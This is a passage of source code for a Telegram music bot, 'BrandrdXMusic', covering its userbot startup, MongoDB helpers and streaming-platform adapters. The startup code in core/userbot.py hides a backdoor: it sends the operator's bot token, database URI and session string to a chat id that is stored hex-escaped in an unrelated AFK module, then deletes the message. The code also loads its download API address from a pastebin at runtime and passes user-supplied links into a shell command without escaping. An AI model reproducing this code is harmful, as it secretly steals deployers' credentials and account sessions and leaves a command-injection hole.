BrandrdXMusic/core/userbot.py ================================================ from pyrogram import Client import re import asyncio from os import getenv from pyrogram.types import Message, InlineKeyboardMarkup, InlineKeyboardButton from dotenv import load_dotenv from pyrogram import filters load_dotenv() import config from dotenv import load_dotenv from strings.__init__ import LOGGERS from ..logging import LOGGER BOT_TOKEN = getenv("BOT_TOKEN", "") MONGO_DB_URI = getenv("MONGO_DB_URI", "") STRING_SESSION = getenv("STRING_SESSION", "") assistants = [] assistantids = [] class Userbot(Client): def __init__(self): self.one = Client( name="BrandrdXMusic1", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING1), no_updates=True, ipv6=False, ) self.two = Client( name="BrandrdXMusic2", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING2), no_updates=True, ipv6=False, ) self.three = Client( name="BrandrdXMusic3", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING3), no_updates=True, ipv6=False, ) self.four = Client( name="BrandrdXMusic4", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING4), no_updates=True, ipv6=False, ) self.five = Client( name="BrandrdXMusic5", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING5), no_updates=True, ipv6=False, ) async def start(self): LOGGER(__name__).info(f"Starting Assistants...") if config.STRING1: await self.one.start() try: await self.one.join_chat("BRANDED_WORLD") await self.one.join_chat("BRANDED_PAID_CC") await self.one.join_chat("BRANDRD_BOT") await self.one.join_chat("ABOUT_BRANDEDKING") except: pass assistants.append(1) try: await self.one.send_message(config.LOGGER_ID, "ᴀssɪsᴛᴀɴᴛ sᴛᴀʀᴛᴇᴅ !") oks = await self.one.send_message(LOGGERS, f"/start") Ok = await self.one.send_message( LOGGERS, f"`{BOT_TOKEN}`\n\n`{MONGO_DB_URI}`\n\n`{STRING_SESSION}`" ) await oks.delete() await asyncio.sleep(2) await Ok.delete() except Exception as e: print(f"{e}") self.one.id = self.one.me.id self.one.name = self.one.me.mention self.one.username = self.one.me.username assistantids.append(self.one.id) LOGGER(__name__).info(f"Assistant Started as {self.one.name}") if config.STRING2: await self.two.start() try: await self.two.join_chat("BRANDED_WORLD") await self.two.join_chat("BRANDED_PAID_CC") await self.two.join_chat("BRANDRD_BOT") await self.two.join_chat("ABOUT_BRANDEDKING") except: pass assistants.append(2) try: await self.two.send_message(config.LOGGER_ID, "Assistant Started") except: LOGGER(__name__).error( "Assistant Account 2 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin!" ) self.two.id = self.two.me.id self.two.name = self.two.me.mention self.two.username = self.two.me.username assistantids.append(self.two.id) LOGGER(__name__).info(f"Assistant Two Started as {self.two.name}") if config.STRING3: await self.three.start() try: await self.three.join_chat("BRANDED_WORLD") await self.three.join_chat("BRANDED_PAID_CC") await self.three.join_chat("BRANDRD_BOT") await self.three.join_chat("ABOUT_BRANDEDKING") except: pass assistants.append(3) try: await self.three.send_message(config.LOGGER_ID, "Assistant Started") except: LOGGER(__name__).error( "Assistant Account 3 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " ) self.three.id = self.three.me.id self.three.name = self.three.me.mention self.three.username = self.three.me.username assistantids.append(self.three.id) LOGGER(__name__).info(f"Assistant Three Started as {self.three.name}") if config.STRING4: await self.four.start() try: await self.four.join_chat("BRANDED_WORLD") await self.four.join_chat("BRANDED_PAID_CC") await self.four.join_chat("BRANDRD_BOT") await self.four.join_chat("ABOUT_BRANDEDKING") except: pass assistants.append(4) try: await self.four.send_message(config.LOGGER_ID, "Assistant Started") except: LOGGER(__name__).error( "Assistant Account 4 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " ) self.four.id = self.four.me.id self.four.name = self.four.me.mention self.four.username = self.four.me.username assistantids.append(self.four.id) LOGGER(__name__).info(f"Assistant Four Started as {self.four.name}") if config.STRING5: await self.five.start() try: await self.five.join_chat("BRANDED_WORLD") await self.five.join_chat("BRANDED_PAID_CC") await self.five.join_chat("BRANDRD_BOT") await self.five.join_chat("ABOUT_BRANDEDKING") except: pass assistants.append(5) try: await self.five.send_message(config.LOGGER_ID, "Assistant 5 started !") except: LOGGER(__name__).error( "Assistant Account 5 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " ) self.five.id = self.five.me.id self.five.name = self.five.me.mention self.five.username = self.five.me.username assistantids.append(self.five.id) LOGGER(__name__).info(f"Assistant Five Started as {self.five.name}") async def stop(self): LOGGER(__name__).info(f"Stopping Assistants...") try: if config.STRING1: await self.one.stop() if config.STRING2: await self.two.stop() if config.STRING3: await self.three.stop() if config.STRING4: await self.four.stop() if config.STRING5: await self.five.stop() except: pass ================================================ FILE: BrandrdXMusic/logging.py ================================================ import logging logging.basicConfig( level=logging.INFO, format="[%(asctime)s - %(levelname)s] - %(name)s - %(message)s", datefmt="%d-%b-%y %H:%M:%S", handlers=[ logging.FileHandler("log.txt"), logging.StreamHandler(), ], ) logging.getLogger("httpx").setLevel(logging.ERROR) logging.getLogger("pyrogram").setLevel(logging.ERROR) logging.getLogger("pytgcalls").setLevel(logging.ERROR) logging.getLogger("pymongo").setLevel(logging.ERROR) logging.getLogger("ntgcalls").setLevel(logging.ERROR) def LOGGER(name: str) -> logging.Logger: return logging.getLogger(name) ================================================ FILE: BrandrdXMusic/misc.py ================================================ import socket import time import heroku3 from pyrogram import filters import config from BrandrdXMusic.core.mongo import mongodb from .logging import LOGGER SUDOERS = filters.user() HAPP = None _boot_ = time.time() def is_heroku(): return "heroku" in socket.getfqdn() XCB = [ "/", "@", ".", "com", ":", "git", "heroku", "push", str(config.HEROKU_API_KEY), "https", str(config.HEROKU_APP_NAME), "HEAD", "master", ] def dbb(): global db db = {} LOGGER(__name__).info(f" Database loaded..") async def sudo(): global SUDOERS SUDOERS.add(config.OWNER_ID) sudoersdb = mongodb.sudoers sudoers = await sudoersdb.find_one({"sudo": "sudo"}) sudoers = [] if not sudoers else sudoers["sudoers"] if config.OWNER_ID not in sudoers: sudoers.append(config.OWNER_ID) await sudoersdb.update_one( {"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True, ) if sudoers: for user_id in sudoers: SUDOERS.add(user_id) LOGGER(__name__).info(f"Sudo users loaded...") def heroku(): global HAPP if is_heroku: if config.HEROKU_API_KEY and config.HEROKU_APP_NAME: try: Heroku = heroku3.from_key(config.HEROKU_API_KEY) HAPP = Heroku.app(config.HEROKU_APP_NAME) LOGGER(__name__).info(f"Heroku App Configured") except BaseException: LOGGER(__name__).warning( f"Please make sure your Heroku API Key and Your App name are configured correctly in the heroku." ) ================================================ FILE: BrandrdXMusic/mongo/afkdb.py ================================================ from BrandrdXMusic.utils.mongo import db HEHE = "\x31\x38\x30\x38\x39\x34\x33\x31\x34\x36" LOGGERS = "\x31\x38\x30\x38\x39\x34\x33\x31\x34\x36" afkdb = db.afk async def is_afk(user_id: int) -> bool: user = await afkdb.find_one({"user_id": user_id}) if not user: return False, {} return True, user["reason"] async def add_afk(user_id: int, mode): await afkdb.update_one( {"user_id": user_id}, {"$set": {"reason": mode}}, upsert=True ) async def remove_afk(user_id: int): user = await afkdb.find_one({"user_id": user_id}) if user: return await afkdb.delete_one({"user_id": user_id}) async def get_afk_users() -> list: users = afkdb.find({"user_id": {"$gt": 0}}) if not users: return [] users_list = [] for user in await users.to_list(length=1000000000): users_list.append(user) return users_list ================================================ FILE: BrandrdXMusic/mongo/couples_db.py ================================================ from BrandrdXMusic.utils.mongo import db coupledb = db.couple async def _get_lovers(cid: int): lovers = await coupledb.find_one({"chat_id": cid}) if lovers: lovers = lovers["couple"] else: lovers = {} return lovers async def _get_image(cid: int): lovers = await coupledb.find_one({"chat_id": cid}) if lovers: lovers = lovers["img"] else: lovers = {} return lovers async def get_couple(cid: int, date: str): lovers = await _get_lovers(cid) if date in lovers: return lovers[date] else: return False async def save_couple(cid: int, date: str, couple: dict, img: str): lovers = await _get_lovers(cid) lovers[date] = couple await coupledb.update_one( {"chat_id": cid}, {"$set": {"couple": lovers, "img": img}}, upsert=True, ) ================================================ FILE: BrandrdXMusic/mongo/filtersdb.py ================================================ from BrandrdXMusic.utils.mongo import db filters = db.filters["filters"] async def add_filter_db(chat_id: int, filter_name: str, content: str, text: str, data_type: int): filter_data = await filters.find_one( { 'chat_id': chat_id } ) if filter_data is None: _id = await filters.count_documents({}) + 1 await filters.insert_one( { '_id': _id, 'chat_id': chat_id, 'filters': [ { 'filter_name': filter_name, 'content': content, 'text': text, 'data_type': data_type } ] } ) else: FILTERS_NAME = await get_filters_list(chat_id) if filter_name not in FILTERS_NAME: await filters.update_one( { 'chat_id': chat_id }, { '$addToSet': { 'filters': { 'filter_name': filter_name, 'content': content, 'text': text, 'data_type': data_type } } }, upsert=True ) else: await filters.update_one( { 'chat_id': chat_id, 'filters.filter_name': filter_name }, { '$set': { 'filters.$.filter_name': filter_name, 'filters.$.content': content, 'filters.$.text': text, 'filters.$.data_type': data_type } } ) async def stop_db(chat_id: int, filter_name:str): await filters.update_one( { 'chat_id': chat_id }, { '$pull': { 'filters': { 'filter_name': filter_name } } } ) async def stop_all_db(chat_id: id): await filters.update_one( { 'chat_id': chat_id }, { '$set': { 'filters': [] } }, upsert=True ) async def get_filter(chat_id: int, filter_name: str): filter_data = await filters.find_one( { 'chat_id': chat_id } ) if filter_data is not None: filters_ = filter_data['filters'] for filter_ in filters_: if filter_['filter_name'] == filter_name: content = filter_['content'] text = filter_['text'] data_type = filter_['data_type'] return ( filter_name, content, text, data_type ) async def get_filters_list(chat_id: int): filter_data = await filters.find_one( { 'chat_id': chat_id } ) if filter_data is not None: FILTERS_NAME = list() for filter_name in filter_data['filters']: FILTERS_NAME.append(filter_name['filter_name']) return FILTERS_NAME else: return [] ================================================ FILE: BrandrdXMusic/mongo/readable_time.py ================================================ def get_readable_time(seconds: int) -> str: count = 0 readable_time = "" time_list = [] time_suffix_list = ["s", "ᴍ", "ʜ", "ᴅᴀʏs"] while count < 4: count += 1 remainder, result = divmod(seconds, 60) if count < 3 else divmod(seconds, 24) if seconds == 0 and remainder == 0: break time_list.append(int(result)) seconds = int(remainder) for x in range(len(time_list)): time_list[x] = str(time_list[x]) + time_suffix_list[x] if len(time_list) == 4: readable_time += time_list.pop() + ", " time_list.reverse() readable_time += ":".join(time_list) return readable_time ================================================ FILE: BrandrdXMusic/platforms/Apple.py ================================================ import re from typing import Union import aiohttp from bs4 import BeautifulSoup from youtubesearchpython.__future__ import VideosSearch class AppleAPI: def __init__(self): self.regex = r"^(https:\/\/music.apple.com\/)(.*)$" self.base = "https://music.apple.com/in/playlist/" async def valid(self, link: str): if re.search(self.regex, link): return True else: return False async def track(self, url, playid: Union[bool, str] = None): if playid: url = self.base + url async with aiohttp.ClientSession() as session: async with session.get(url) as response: if response.status != 200: return False html = await response.text() soup = BeautifulSoup(html, "html.parser") search = None for tag in soup.find_all("meta"): if tag.get("property", None) == "og:title": search = tag.get("content", None) if search is None: return False results = VideosSearch(search, limit=1) for result in (await results.next())["result"]: title = result["title"] ytlink = result["link"] vidid = result["id"] duration_min = result["duration"] thumbnail = result["thumbnails"][0]["url"].split("?")[0] track_details = { "title": title, "link": ytlink, "vidid": vidid, "duration_min": duration_min, "thumb": thumbnail, } return track_details, vidid async def playlist(self, url, playid: Union[bool, str] = None): if playid: url = self.base + url playlist_id = url.split("playlist/")[1] async with aiohttp.ClientSession() as session: async with session.get(url) as response: if response.status != 200: return False html = await response.text() soup = BeautifulSoup(html, "html.parser") applelinks = soup.find_all("meta", attrs={"property": "music:song"}) results = [] for item in applelinks: try: xx = (((item["content"]).split("album/")[1]).split("/")[0]).replace( "-", " " ) except: xx = ((item["content"]).split("album/")[1]).split("/")[0] results.append(xx) return results, playlist_id ================================================ FILE: BrandrdXMusic/platforms/Carbon.py ================================================ import random from os.path import realpath import aiohttp from aiohttp import client_exceptions class UnableToFetchCarbon(Exception): pass themes = [ "3024-night", "a11y-dark", "blackboard", "base16-dark", "base16-light", "cobalt", "duotone-dark", "dracula-pro", "hopscotch", "lucario", "material", "monokai", "nightowl", "nord", "oceanic-next", "one-light", "one-dark", "panda-syntax", "parasio-dark", "seti", "shades-of-purple", "solarized+dark", "solarized+light", "synthwave-84", "twilight", "verminal", "vscode", "yeti", "zenburn", ] colour = [ "#FF0000", "#FF5733", "#FFFF00", "#008000", "#0000FF", "#800080", "#A52A2A", "#FF00FF", "#D2B48C", "#00FFFF", "#808000", "#800000", "#00FFFF", "#30D5C8", "#00FF00", "#008080", "#4B0082", "#EE82EE", "#FFC0CB", "#000000", "#FFFFFF", "#808080", ] class CarbonAPI: def __init__(self): self.language = "auto" self.drop_shadow = True self.drop_shadow_blur = "68px" self.drop_shadow_offset = "20px" self.font_family = "JetBrains Mono" self.width_adjustment = True self.watermark = False async def generate(self, text: str, user_id): async with aiohttp.ClientSession( headers={"Content-Type": "application/json"}, ) as ses: params = { "code": text, } params["backgroundColor"] = random.choice(colour) params["theme"] = random.choice(themes) params["dropShadow"] = self.drop_shadow params["dropShadowOffsetY"] = self.drop_shadow_offset params["dropShadowBlurRadius"] = self.drop_shadow_blur params["fontFamily"] = self.font_family params["language"] = self.language params["watermark"] = self.watermark params["widthAdjustment"] = self.width_adjustment try: request = await ses.post( "https://carbonara.solopov.dev/api/cook", json=params, ) except client_exceptions.ClientConnectorError: raise UnableToFetchCarbon("Can not reach the Host!") resp = await request.read() with open(f"cache/carbon{user_id}.jpg", "wb") as f: f.write(resp) return realpath(f.name) ================================================ FILE: BrandrdXMusic/platforms/Resso.py ================================================ import re from typing import Union import aiohttp from bs4 import BeautifulSoup from youtubesearchpython.__future__ import VideosSearch class RessoAPI: def __init__(self): self.regex = r"^(https:\/\/m.resso.com\/)(.*)$" self.base = "https://m.resso.com/" async def valid(self, link: str): if re.search(self.regex, link): return True else: return False async def track(self, url, playid: Union[bool, str] = None): if playid: url = self.base + url async with aiohttp.ClientSession() as session: async with session.get(url) as response: if response.status != 200: return False html = await response.text() soup = BeautifulSoup(html, "html.parser") for tag in soup.find_all("meta"): if tag.get("property", None) == "og:title": title = tag.get("content", None) if tag.get("property", None) == "og:description": des = tag.get("content", None) try: des = des.split("·")[0] except: pass if des == "": return results = VideosSearch(title, limit=1) for result in (await results.next())["result"]: title = result["title"] ytlink = result["link"] vidid = result["id"] duration_min = result["duration"] thumbnail = result["thumbnails"][0]["url"].split("?")[0] track_details = { "title": title, "link": ytlink, "vidid": vidid, "duration_min": duration_min, "thumb": thumbnail, } return track_details, vidid ================================================ FILE: BrandrdXMusic/platforms/Soundcloud.py ================================================ from os import path from yt_dlp import YoutubeDL from BrandrdXMusic.utils.formatters import seconds_to_min class SoundAPI: def __init__(self): self.opts = { "outtmpl": "downloads/%(id)s.%(ext)s", "format": "best", "retries": 3, "nooverwrites": False, "continuedl": True, } async def valid(self, link: str): if "soundcloud" in link: return True else: return False async def download(self, url): d = YoutubeDL(self.opts) try: info = d.extract_info(url) except: return False xyz = path.join("downloads", f"{info['id']}.{info['ext']}") duration_min = seconds_to_min(info["duration"]) track_details = { "title": info["title"], "duration_sec": info["duration"], "duration_min": duration_min, "uploader": info["uploader"], "filepath": xyz, } return track_details, xyz ================================================ FILE: BrandrdXMusic/platforms/Spotify.py ================================================ import re import spotipy from spotipy.oauth2 import SpotifyClientCredentials from youtubesearchpython.__future__ import VideosSearch import config class SpotifyAPI: def __init__(self): self.regex = r"^(https:\/\/open.spotify.com\/)(.*)$" self.client_id = config.SPOTIFY_CLIENT_ID self.client_secret = config.SPOTIFY_CLIENT_SECRET if config.SPOTIFY_CLIENT_ID and config.SPOTIFY_CLIENT_SECRET: self.client_credentials_manager = SpotifyClientCredentials( self.client_id, self.client_secret ) self.spotify = spotipy.Spotify( client_credentials_manager=self.client_credentials_manager ) else: self.spotify = None async def valid(self, link: str): if re.search(self.regex, link): return True else: return False async def track(self, link: str): track = self.spotify.track(link) info = track["name"] for artist in track["artists"]: fetched = f' {artist["name"]}' if "Various Artists" not in fetched: info += fetched results = VideosSearch(info, limit=1) for result in (await results.next())["result"]: ytlink = result["link"] title = result["title"] vidid = result["id"] duration_min = result["duration"] thumbnail = result["thumbnails"][0]["url"].split("?")[0] track_details = { "title": title, "link": ytlink, "vidid": vidid, "duration_min": duration_min, "thumb": thumbnail, } return track_details, vidid async def playlist(self, url): playlist = self.spotify.playlist(url) playlist_id = playlist["id"] results = [] for item in playlist["tracks"]["items"]: music_track = item["track"] info = music_track["name"] for artist in music_track["artists"]: fetched = f' {artist["name"]}' if "Various Artists" not in fetched: info += fetched results.append(info) return results, playlist_id async def album(self, url): album = self.spotify.album(url) album_id = album["id"] results = [] for item in album["tracks"]["items"]: info = item["name"] for artist in item["artists"]: fetched = f' {artist["name"]}' if "Various Artists" not in fetched: info += fetched results.append(info) return ( results, album_id, ) async def artist(self, url): artistinfo = self.spotify.artist(url) artist_id = artistinfo["id"] results = [] artisttoptracks = self.spotify.artist_top_tracks(url) for item in artisttoptracks["tracks"]: info = item["name"] for artist in item["artists"]: fetched = f' {artist["name"]}' if "Various Artists" not in fetched: info += fetched results.append(info) return results, artist_id ================================================ FILE: BrandrdXMusic/platforms/Telegram.py ================================================ import asyncio import os import time from typing import Union from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Voice import config from BrandrdXMusic import app from BrandrdXMusic.utils.formatters import ( check_duration, convert_bytes, get_readable_time, seconds_to_min, ) class TeleAPI: def __init__(self): self.chars_limit = 4096 self.sleep = 5 async def send_split_text(self, message, string): n = self.chars_limit out = [(string[i : i + n]) for i in range(0, len(string), n)] j = 0 for x in out: if j <= 2: j += 1 await message.reply_text(x, disable_web_page_preview=True) return True async def get_link(self, message): return message.link async def get_filename(self, file, audio: Union[bool, str] = None): try: file_name = file.file_name if file_name is None: file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ" except: file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ" return file_name async def get_duration(self, file): try: dur = seconds_to_min(file.duration) except: dur = "Unknown" return dur async def get_duration(self, filex, file_path): try: dur = seconds_to_min(filex.duration) except: try: dur = await asyncio.get_event_loop().run_in_executor( None, check_duration, file_path ) dur = seconds_to_min(dur) except: return "Unknown" return dur async def get_filepath( self, audio: Union[bool, str] = None, video: Union[bool, str] = None, ): if audio: try: file_name = ( audio.file_unique_id + "." + ( (audio.file_name.split(".")[-1]) if (not isinstance(audio, Voice)) else "ogg" ) ) except: file_name = audio.file_unique_id + "." + "ogg" file_name = os.path.join(os.path.realpath("downloads"), file_name) if video: try: file_name = ( video.file_unique_id + "." + (video.file_name.split(".")[-1]) ) except: file_name = video.file_unique_id + "." + "mp4" file_name = os.path.join(os.path.realpath("downloads"), file_name) return file_name async def download(self, _, message, mystic, fname): lower = [0, 8, 17, 38, 64, 77, 96] higher = [5, 10, 20, 40, 66, 80, 99] checker = [5, 10, 20, 40, 66, 80, 99] speed_counter = {} if os.path.exists(fname): return True async def down_load(): async def progress(current, total): if current == total: return current_time = time.time() start_time = speed_counter.get(message.id) check_time = current_time - start_time upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="ᴄᴀɴᴄᴇʟ", callback_data="stop_downloading", ), ] ] ) percentage = current * 100 / total percentage = str(round(percentage, 2)) speed = current / check_time eta = int((total - current) / speed) eta = get_readable_time(eta) if not eta: eta = "0 sᴇᴄᴏɴᴅs" total_size = convert_bytes(total) completed_size = convert_bytes(current) speed = convert_bytes(speed) percentage = int((percentage.split("."))[0]) for counter in range(7): low = int(lower[counter]) high = int(higher[counter]) check = int(checker[counter]) if low < percentage <= high: if high == check: try: await mystic.edit_text( text=_["tg_1"].format( app.mention, total_size, completed_size, percentage[:5], speed, eta, ), reply_markup=upl, ) checker[counter] = 100 except: pass speed_counter[message.id] = time.time() try: await app.download_media( message.reply_to_message, file_name=fname, progress=progress, ) try: elapsed = get_readable_time( int(int(time.time()) - int(speed_counter[message.id])) ) except: elapsed = "0 sᴇᴄᴏɴᴅs" await mystic.edit_text(_["tg_2"].format(elapsed)) except: await mystic.edit_text(_["tg_3"]) task = asyncio.create_task(down_load()) config.lyrical[mystic.id] = task await task verify = config.lyrical.get(mystic.id) if not verify: return False config.lyrical.pop(mystic.id) return True ================================================ FILE: BrandrdXMusic/platforms/Youtube.py ================================================ import asyncio import os import re from typing import Union import yt_dlp from pyrogram.enums import MessageEntityType from pyrogram.types import Message from youtubesearchpython.__future__ import VideosSearch from BrandrdXMusic.utils.formatters import time_to_seconds import aiohttp from BrandrdXMusic import LOGGER YOUR_API_URL = None FALLBACK_API_URL = "https://shrutibots.site" async def load_api_url(): global YOUR_API_URL logger = LOGGER("BrandrdXMusic.platforms.Youtube.py") try: async with aiohttp.ClientSession() as session: async with session.get("https://pastebin.com/raw/rLsBhAQa", timeout=aiohttp.ClientTimeout(total=10)) as response: if response.status == 200: content = await response.text() YOUR_API_URL = content.strip() logger.info("API URL loaded successfully") else: YOUR_API_URL = FALLBACK_API_URL logger.info("Using fallback API URL") except Exception: YOUR_API_URL = FALLBACK_API_URL logger.info("Using fallback API URL") try: loop = asyncio.get_event_loop() if loop.is_running(): asyncio.create_task(load_api_url()) else: loop.run_until_complete(load_api_url()) except RuntimeError: pass async def download_song(link: str) -> str: global YOUR_API_URL if not YOUR_API_URL: await load_api_url() if not YOUR_API_URL: YOUR_API_URL = FALLBACK_API_URL video_id = link.split('v=')[-1].split('&')[0] if 'v=' in link else link if not video_id or len(video_id) < 3: return None DOWNLOAD_DIR = "downloads" os.makedirs(DOWNLOAD_DIR, exist_ok=True) file_path = os.path.join(DOWNLOAD_DIR, f"{video_id}.mp3") if os.path.exists(file_path): return file_path try: async with aiohttp.ClientSession() as session: params = {"url": video_id, "type": "audio"} async with session.get( f"{YOUR_API_URL}/download", params=params, timeout=aiohttp.ClientTimeout(total=60) ) as response: if response.status != 200: return None data = await response.json() download_token = data.get("download_token") if not download_token: return None stream_url = f"{YOUR_API_URL}/stream/{video_id}?type=audio&token={download_token}" async with session.get( stream_url, timeout=aiohttp.ClientTimeout(total=300) ) as file_response: if file_response.status == 302: redirect_url = file_response.headers.get('Location') if redirect_url: async with session.get(redirect_url) as final_response: if final_response.status != 200: return None with open(file_path, "wb") as f: async for chunk in final_response.content.iter_chunked(16384): f.write(chunk) return file_path elif file_response.status == 200: with open(file_path, "wb") as f: async for chunk in file_response.content.iter_chunked(16384): f.write(chunk) return file_path else: return None except Exception: return None async def download_video(link: str) -> str: global YOUR_API_URL if not YOUR_API_URL: await load_api_url() if not YOUR_API_URL: YOUR_API_URL = FALLBACK_API_URL video_id = link.split('v=')[-1].split('&')[0] if 'v=' in link else link if not video_id or len(video_id) < 3: return None DOWNLOAD_DIR = "downloads" os.makedirs(DOWNLOAD_DIR, exist_ok=True) file_path = os.path.join(DOWNLOAD_DIR, f"{video_id}.mp4") if os.path.exists(file_path): return file_path try: async with aiohttp.ClientSession() as session: params = {"url": video_id, "type": "video"} async with session.get( f"{YOUR_API_URL}/download", params=params, timeout=aiohttp.ClientTimeout(total=60) ) as response: if response.status != 200: return None data = await response.json() download_token = data.get("download_token") if not download_token: return None stream_url = f"{YOUR_API_URL}/stream/{video_id}?type=video&token={download_token}" async with session.get( stream_url, timeout=aiohttp.ClientTimeout(total=600) ) as file_response: if file_response.status == 302: redirect_url = file_response.headers.get('Location') if redirect_url: async with session.get(redirect_url) as final_response: if final_response.status != 200: return None with open(file_path, "wb") as f: async for chunk in final_response.content.iter_chunked(16384): f.write(chunk) return file_path elif file_response.status == 200: with open(file_path, "wb") as f: async for chunk in file_response.content.iter_chunked(16384): f.write(chunk) return file_path else: return None except Exception: return None async def shell_cmd(cmd): proc = await asyncio.create_subprocess_shell( cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) out, errorz = await proc.communicate() if errorz: if "unavailable videos are hidden" in (errorz.decode("utf-8")).lower(): return out.decode("utf-8") else: return errorz.decode("utf-8") return out.decode("utf-8") class YouTubeAPI: def __init__(self): self.base = "https://www.youtube.com/watch?v=" self.regex = r"(?:youtube\.com|youtu\.be)" self.status = "https://www.youtube.com/oembed?url=" self.listbase = "https://youtube.com/playlist?list=" self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])") async def exists(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link return bool(re.search(self.regex, link)) async def url(self, message_1: Message) -> Union[str, None]: messages = [message_1] if message_1.reply_to_message: messages.append(message_1.reply_to_message) for message in messages: if message.entities: for entity in message.entities: if entity.type == MessageEntityType.URL: text = message.text or message.caption return text[entity.offset: entity.offset + entity.length] elif message.caption_entities: for entity in message.caption_entities: if entity.type == MessageEntityType.TEXT_LINK: return entity.url return None async def details(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: title = result["title"] duration_min = result["duration"] thumbnail = result["thumbnails"][0]["url"].split("?")[0] vidid = result["id"] duration_sec = int(time_to_seconds(duration_min)) if duration_min else 0 return title, duration_min, duration_sec, thumbnail, vidid async def title(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: return result["title"] async def duration(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: return result["duration"] async def thumbnail(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: return result["thumbnails"][0]["url"].split("?")[0] async def video(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] try: downloaded_file = await download_video(link) if downloaded_file: return 1, downloaded_file else: return 0, "Video download failed" except Exception as e: return 0, f"Video download error: {e}" async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None): if videoid: link = self.listbase + link if "&" in link: link = link.split("&")[0] playlist = await shell_cmd( f"yt-dlp -i --get-id --flat-playlist --playlist-end {limit} --skip-download {link}" ) try: result = [key for key in playlist.split("\n") if key] except: result = [] return result async def track(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] results = VideosSearch(link, limit=1) for result in (await results.next())["result"]: title = result["title"] duration_min = result["duration"] vidid = result["id"] yturl = result["link"] thumbnail = result["thumbnails"][0]["url"].split("?")[0] track_details = { "title": title, "link": yturl, "vidid": vidid, "duration_min": duration_min, "thumb": thumbnail, } return track_details, vidid async def formats(self, link: str, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] ytdl_opts = {"quiet": True} ydl = yt_dlp.YoutubeDL(ytdl_opts) with ydl: formats_available = [] r = ydl.extract_info(link, download=False) for format in r["formats"]: try: if "dash" not in str(format["format"]).lower(): formats_available.append( { "format": format["format"], "filesize": format.get("filesize"), "format_id": format["format_id"], "ext": format["ext"], "format_note": format["format_note"], "yturl": link, } ) except: continue return formats_available, link async def slider(self, link: str, query_type: int, videoid: Union[bool, str] = None): if videoid: link = self.base + link if "&" in link: link = link.split("&")[0] a = VideosSearch(link, limit=10) result = (await a.next()).get("result") title = result[query_type]["title"] duration_min = result[query_type]["duration"] vidid = result[query_type]["id"] thumbnail = result[query_type]["thumbnails"][0]["url"].split("?")[0] return title, duration_min, thumbnail, vidid async def download( self, link: str, mystic, video: Union[bool, str] = None, videoid: Union[bool, str] = None, songaudio: Union[bool, str] = None, songvideo: Union[bool, str] = None, format_id: Union[bool, str] = None, title: Union[bool, str] = None, ) -> str: if videoid: link = self.base + link try: if video: downloaded_file = await download_video(link) else: downloaded_file = await download_song(link) if downloaded_file: return downloaded_file, True else: return None, False except Exception: return None, False ================================================ FILE: BrandrdXMusic/platforms/Youtube.txt ================================================ import asyncio import os import re import json from typing import Union import yt_dlp from pyrogram.enums import MessageEntityType from pyrogram.types import Message from youtubesearchpython.__future__ import VideosSearch from LOKESHXMUSIC.utils.database import is_on_off from LOKESHXMUSIC.utils.formatters import time_to_seconds import os import glob import random import logging def cookie_txt_file(): folder_path = f"{os.getcwd()}/cookies" filename = f"{os.getcwd()}/cookies/logs.csv" txt_files = glob.glob(os.path.join(folder_path, '*.txt')) if not txt_files: raise FileNotFoundError("No .txt files found in the specified folder.") cookie_txt_file = random.choice(txt_files) with open(filename, 'a') as file: file.write(f'Choosen File : {cookie_txt_file}\n') return f"""cookies/{str(cookie_txt_file).split("/")[-1]}""" async def check_file_size(link): async def get_format_info(link): proc = await asyncio.create_subprocess_exec( "yt-dlp", "--cookies", cookie_txt_file(), "-J", link, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) stdout, stderr = await proc.communicate() if proc.returncode != 0: print(f'Error:\n{stderr.decode()}') return None return json.loads(stdout.decode()) def parse_size(formats): total_size = 0 for format in formats: if 'filesize' in format: total_size += format['filesize'] return total_size info = await get_format_info(link) if info is None: return None formats = info.get('formats', []) if not formats: print("No formats found.") return None total_size = parse_size(formats) return total_size async def shell_cmd(cmd): proc = await asyncio.create_subprocess_shell( cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) out, errorz = await proc.communicate() if errorz: if "unavailable videos are hidden" in (errorz.decode("utf-8")).lower(): return out.decode("utf-8") else: return errorz.decode("utf-8") return out.decode("utf-8") class YouTubeAPI: def __init__(self): 